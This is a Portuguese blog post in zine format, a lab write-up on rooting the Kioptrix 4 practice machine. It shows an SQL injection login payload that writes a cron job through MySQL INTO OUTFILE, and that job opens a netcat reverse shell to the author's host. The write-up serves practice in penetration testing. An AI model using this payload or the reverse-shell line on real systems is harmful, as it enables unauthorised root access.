DO SQLI AO ROOT EM 2 PASSOS


        ----------------------------------------------------------------
        offensive think :: artigo técnico em formato zine / nfo
        ----------------------------------------------------------------

        titulo : Do SQLi ao Root em 2 Passos
        autor  : offensive think
        data   : Thu, Jul 30, 2020
        tags   : sqli

        ----------------------------------------------------------------
        --> https://www.offensivethink.com/posts/sqli-to-root.html <--

Tudo começou quando eu vi um Bode e quando esse danado desse bode me levou para uma jaula onde eu quase perco o restante dos cabelos que eu tinha para sair dela. :D :D
Mas ai eu descobri uma coisa interessante nessa máquina, é que os arquivos que eu conseguia escrever nela através de SQLi ficavam com usuário e grupo root. Esta máquina é a Kioptrix 4.
Então pensei. O processo do MySQL deve rodar como root e se ele roda como root ele é todo poderoso. Se ele é todo poderoso ele pode escrever onde eu quiser e como quiser. Então , que tal, escrever em um arquivo de crontab um comando para fazer shell reverso pra mim ? Bora tentar assim :
Vamos tentar criar um arquivo em /etc/cron.d que programe o cron para tentar conectar na nossa máquina a cada 1 minuto:

    */1  * * * *  root  nc.traditional 192.168.200.3 443 -e /bin/bash

Então, nosso SQLi, ficaria assim:

    myusername=john&mypassword=-9334'OR 1908=1908 limit 0,0 union all 
    select "*/1 *   * * *" , "root" , "nc.traditional 192.168.200.3 443 -e /bin/bash" 
    INTO OUTFILE '/etc/cron.d/crontab'--%20-

_Tá, não foi assim de primeira , no alvo, prego batido de ponta virada né ? Primeiro apanhei para descobrir que essa danada dessa máquina só tem permissão para se conecta na porta 443 e 22. Depois apanhei tentando fazer com um telnet reverso mas o cron, pelo que entendi abre um subprocesso que morre logo em seguida não permitindo que o telnet fique no ar. Não cheguei a tentar com perl, php, python, etc., pois eu tava decidido a fazer com "comandos do sistema". Ai no finalzim, vi que o danado tinha o nc.tradicional, ou seja, o nosso net gatinho tradicional._
Ai agora é injetar via Burp abrir um NC no terminal e aguardar o Shell cair no seu colo:
Mandando bala
Recebendo o doce
E tá ai , rapidinho, nada de restricted shell, nada de escalar privilégios, etc, etc, etc. Direto ao Shell. ;D

---[ EOF ]--------------------------------------------------------------

                    offensive think / 2026